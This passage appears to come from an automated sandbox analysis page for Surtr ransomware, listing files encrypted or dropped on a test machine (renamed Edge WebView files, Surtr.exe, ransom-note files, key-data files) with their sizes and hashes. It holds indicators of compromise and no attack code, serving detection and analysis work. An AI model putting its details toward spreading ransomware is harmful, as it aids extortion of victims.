69defe926047f34a40b0f849788cc86d1ea8be7ff57ef7388009af3abe8dce7e

SHA512
cfed7dff3c5c66840b6f6bfd846792b48117d8a92a2d8406209cce38646177fbc5d2ecaa4b233f4d0152e47a16a581455c1b26b0aa7fe92ebd759d0db3a12fd2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Sigma\Staging.[[email protected]].SURT

Filesize
16KB

MD5
8270d79f68cf6c9f855cbd7da8bd4f48

SHA1
353c2c9355f7f0a3e84d05b6d54126073457e5f5

SHA256
e96f6ddd7c5614912b405a616f98634f1f378ba2bc4062f2fe75de17f0bb2087

SHA512
ea7d969bf405ee59bf9de683b592eb9456db17c546f6fab1169d0f55eac97a70a1ef44ebd073fe53638d4047b49ea2304b7374ce126ad836c2d732d4f4fc1aba

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\manifest.json.[[email protected]].SURT

Filesize
569B

MD5
f67221b3bac00d154e23fa629aca51d1

SHA1
e4a3ffbe91a62e08586d4ace3830a0b443db79db

SHA256
f351342a4356997ffb52a7e8faade54de129b61cb45d9ad00e46e7f5874ac501

SHA512
c02b295cd709993c158052e006b2c039e94804002ebcb716eca88788bb9efa3634a2ecee475cd4045f1049409007eaae214e9b0e224e5188759d1b2095f34e3b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\Logo.png.[[email protected]].SURT

Filesize
32KB

MD5
7d5ce9ed24bd82103485c71bf3e959d9

SHA1
ac06af1969910d0d40a7a37bc9b9cdedad3c4a12

SHA256
f50cf1f217a7d2fc0658d9bf34d4fbfea17b276f5d0d8fe9bae966ca72d77386

SHA512
996a4da34e078f6407e213ba306f7fcc82707eb54e1a563c0406c299b753a11a33d731427bd5c8cf19625d476bba494a3ba7a31daec1ef3d9b0d6618abe8ad6c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\LogoBeta.png.[[email protected]].SURT

Filesize
29KB

MD5
2414055c55277726249f073972b76b27

SHA1
3a2a80356b18b3f3a9ff67d2c6a6b438130e1525

SHA256
77f2baf1581e94119c3e6b53b426dfb72c3063963c684691ac892b9b4a86feb0

SHA512
1c8e809da95eb90e8de369ebb62d45f9586ce3f28ff81226b73dc8d5d0539baca21f6b692de34b96e8d59fea699b1c5f4d51dc99ffa16cff60d972e20e9a8ded

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\LogoCanary.png.[[email protected]].SURT

Filesize
30KB

MD5
94d83ae3afc2c8389f471a06025b8c75

SHA1
9a8ae8111cc2d51fb475fc7103e458c7e5d551ee

SHA256
67143466b47088e207972f8a5cb4537df62edfd10bb0d6c29f59e51cb08fa1c2

SHA512
ebab4f6830872276994b2a1a61f70eb37ab19d1ba4f1e8bc8dbae351353b845d76cafabc671ded7ef6515911d98629f926bdb8dc5a8fec6467e1b6fe4ebf8a5b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\LogoDev.png.[[email protected]].SURT

Filesize
29KB

MD5
11df54d8980ba02884cb7a006df757f8

SHA1
d21e6ad6990a1b9606eeb486b23dcf558adaa4b0

SHA256
4a724d0287682968d2daf5702336d87564e546e529afa1bc0d6420b21b08f8c9

SHA512
e0ae87cda36dc60be051a6836de3dc34cf2484d21b88c27bea4ae628cc63c92a0f479ddeed93e67187d0b94e2673787b2c6de83d609cafd2a3a17730df51e763

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogo.png.[[email protected]].SURT

Filesize
15KB

MD5
9d33f4784f5b9f5ac12ec0d64a7ca45b

SHA1
48622235fd744732153632b4c22dea156589a9d3

SHA256
139e942580be8034afeb69c8c621d6f5d5652f72b86c92f4188c12f9870aa276

SHA512
148241dd8d080f465bb4836104594229f6938f6f921290da856473ba3d091f2f5094ba3e93a2038010fd19266d35532e899dd3d3ed3e0b3fafc6e2b7abfe1fd4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogoBeta.png.[[email protected]].SURT

Filesize
15KB

MD5
37a51ca0cc1808871f9cfbe642af4fc5

SHA1
ae5396443422e5a6ca960551658e9592e0a36b13

SHA256
1165270c6a889a918eb3f4cee4208e8a7f1197d4f54da6cf735422579f3f373a

SHA512
064d2f2ab6652f08502395da80715899917555de54cc8cb96ac61c549d833bf7167e999d8881c05d0ad580f16f69b4cd7da928ec8cd42a8022174ae54fcdad26

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogoCanary.png.[[email protected]].SURT

Filesize
15KB

MD5
68e526949d2a7dc03666c0b55b100ae6

SHA1
4161568abf35e6b1ea9c99511927676e828d2b5b

SHA256
aaf4d9211fdaecc9ab0f825a7500c745dc073b912b400895b4d416c7ad601b30

SHA512
cdca54a4645399abc14a9508015c9890d9b33846118737912438999975d9d7d3606586a6709e3a74f1645cfd20548a73934d134180b38e03fc19e80284efd0dc

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\VisualElements\SmallLogoDev.png.[[email protected]].SURT

Filesize
14KB

MD5
39d23c4e485b71fdefbeae6a676852a5

SHA1
4295b556a70ec5a87a5345426fdaa62df7d91774

SHA256
c4621e3d110eb525eebea3138e82cc6ef4f1cab1c0b26cba3430dc4094fa4f55

SHA512
ea7cff634ee35ec8c667dad85be006137bd4e29a0de3b937b2c0f29934ab3222752cac598c6379a6e724b6333150201f4ee54f9f1618c2234fd41bfd56c0a463

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig.[[email protected]].SURT

Filesize
1KB

MD5
c7e3e1d9e863d368f7b389b684d0219b

SHA1
0ec6e98745d4fb49541861f98d794b5bcfcff93b

SHA256
3b6cdef5a88ad581b6a5c5aae319ff40341da142cba3d4f92d84d82213cd5000

SHA512
118e9b4390a60f72beb19bc3398842fc271d84b31b6bbb6f9169ac918467f9de549aa5a5f37d21318ea3b8ed3b3f693cdd1d4147dfa8882859ae5041805c5479

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\WidevineCdm\manifest.json.[[email protected]].SURT

Filesize
1KB

MD5
d66df6b07aa20a7d67d436d92a3fa100

SHA1
75ba83c79314c18fe2fd5075a264433023aeecb4

SHA256
67217356c60a86ff571ba448e2c4e0f98bf9c2a3d97939c4e9001002c175ba09

SHA512
2007ded433d6107e215b946c6a5af1e19981b9436796c7ac6898d444e6b0975c06ff162d130f469f5ac0bbb5c85ad4facbc60b09721915ea0310d94789bfc1a9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\v8_context_snapshot.bin.[[email protected]].SURT

Filesize
691KB

MD5
a71c9a567199fdc35a4d75fc94ec09d3

SHA1
141aff205603a95410990119beb180e43b072138

SHA256
04b41a5157a729fb2f97fd2a1c2dee2bd67af64bfc8c9463984df01128715b9d

SHA512
030808a068aa5016a19fb518f866dcda0ae7b54d10bd9b5fb6395a13cac65da7d1fbcb00a0766666facfa64abcefaf754236dcd6e98492a48cf266f27d8f50c0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\vk_swiftshader_icd.json.[[email protected]].SURT

Filesize
537B

MD5
902af15b3a0836b480ecae78b5046fcd

SHA1
fabb7bb263d5c91e0ab7c8445f72f8e654e2c6c4

SHA256
a97fb913679014fa14164868cc2101633f794de66937ab18386bd7b0b46c2eae

SHA512
aa1b5e4c44d1d0d7a1fdb8b19233d577adc5a231dea866f36ca3de0d49eabe16747b27710935164eb26668ba692c40fd212ec125aaf4683f90527588ff35cc4a

Download Submit
C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll.[[email protected]].SURT

Filesize
3.6MB

MD5
2473d63edce5cdebcc0de4998cb66730

SHA1
d885f69fc33b8ab49b18a2dd0fc4edccddd14a81

SHA256
50a883b8704cfebd9e130d8a13a3eef9894529090fdbc2cdefd32431e031c718

SHA512
01eb1feddb4188368816ed5e42447438896a82696c140eb06f81edee5525939e70712b5024698e52203daf0200798fdb7b4738c5564ae1a729490bb6d16276be

Download Submit
C:\ProgramData\Service\ID_DATA.surt

Filesize
14B

MD5
3f44bd46a724247cedd8d6ef0c4af2ad

SHA1
55f06a0080e71471ffb5e2cb3c4bcb5ec024ca3b

SHA256
6ec38398f8798834afe1656cc836c615d6e84443f1d10d411f76c68167a42ec9

SHA512
d58e65d9e255f9297e75ca7147b14d3abfc26c6ff028deaea2e57fc622071e82282c2e16ffb2b92c9ce9af34417f4728850e6096eedb53c012b53a20935063f9

Download Submit
C:\ProgramData\Service\Private_DATA.surt

Filesize
1KB

MD5
a175b1443bf1a868c58830bededab195

SHA1
ab7f0f03462581ea0954e59c07f422ca2f263aee

SHA256
d3858bd12c216dbfa2c6048798c9c6453002b436d2228622de4cf5a977f99ec8

SHA512
e79fc9e8a47502ee3ce2abda3c76194216063be09c38243a523bb7aa5d5a60a19b45ef0df7253e51b30196669a9729f80efeefca6cbab9f9812abfbcb8c18b2e

Download Submit
C:\ProgramData\Service\Surtr.exe

Filesize
1.3MB

MD5
6c2b5d1e5204f83e16265da3600d48e0

SHA1
dc40c80e3444ca688779cd81a2b93964fa909b89

SHA256
805cb28b3e595afe97a6e4ac5051ca11b34d72f4dff2af4581cf74a6b126af43

SHA512
5d2eb6e70eda83e491bbc993eec57c35245a9340f6526e6e0abad3c1ebe0c3457e0efc5c6012463ece384de771bb76b3e3f0cf8357a8e71f7c7ac18d66af4e78

Download Submit
C:\ProgramData\Service\SurtrBackGround.jpg

Filesize
30KB

MD5
33f7fc301be9d39fcb474fb8b1e5f42e

SHA1
a3bf9ddb2ac53bc4b12b249825189a7c7a07b766

SHA256
99cd579177b2480dab17d125bcabe16f503b467208c2568c5564d13ffb457d03

SHA512
6cf0f2a65cc9d001087b8a685f1199ece6cd6e25f91b421a5a176ed8a1578e9b5da5fd4cd1708fc3639c30f1724e238ad6d4a2b09d45b53737468b31ddf50d00

Download Submit
C:\ProgramData\Service\SurtrIcon.ico

Filesize
78KB

MD5
3257eb22824b57fe3d58074bca3128d3

SHA1
6f60ff4e7419ccdbc3d0dedc8474a0722d7d0a97

SHA256
5afba257ff405ceb733b2b6f270a16c8e0fffe92e6c91c6554a2ea4706e8c3ad

SHA512
7b41c8714aa64bd5a3a9e782a5bda8875882182863c9dd11273c168ef2b064f2c31c6c0e9d30f9db7ff99dae0542773f9a8ef995830c427d167120711ab4878d

Download Submit
C:\Users\Admin\AppData\Local\Temp\SURTR_README.hta

Filesize
8KB

MD5
692cd095614bf1c1d86e92e08fd93f37

SHA1
32669ce851253f9ecc88cd31b8735d6130d9a3ae

SHA256
721acb9630145b4f39c1a83baad1c34096b31b40534687cd6a9b60d9337aaeed

SHA512
edfeabf1debb81168c75a4cc8eb5d0133db5f9ccdd1275d0cce4f0412f08e6b2c1b1c4234c07b5583eee58d91942b6fe194de4df40573ca3adc824fc30cd830d

Download Submit
C:\Users\Admin\AppData\Local\Temp\SURTR_README.txt

Filesize
614B

MD5
bbae5c15cea226dc63bc459d84e3871c

SHA1
927711c4ced231187f2877805e6cdc22277df67c

SHA256
b605cea8d117d2ba04c31fcaddf76475c8c4f70d9a860f1cfde4829b0d3f0d18

SHA512
aaa315c9ef0f72b1e27d7ed82e9734e9307c31074cce41a68ce5c2060dac23fd3d25ba73f8e16ae6e149e73d54d192087cc2394e9984df56f8151bb4d55051c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Service\Public_DATA.surt

Filesize
204B

MD5
890652bb1f0013e97b69a4a62b7ec1df

SHA1
bbf3ca3297d5aa42caf24eb5808d2720dfa505a4

SHA256
909e9b7ed5dad9a4294ae2a0473cf92a7302d9d4ebec87bac6297600f71ed20d

SHA512
5115af775ce430934ef6211e6aeae173ffc8e112da2d26af0073372105bd4acdecb65fd6ba033fc4778aeb68bb257ee53e7c102ef08955d97cf07c11b2b53e59

Download Submit
memory/4584-0-0x0000000140000000-0x000000014015C000-memory.dmp

Filesize
1.4MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads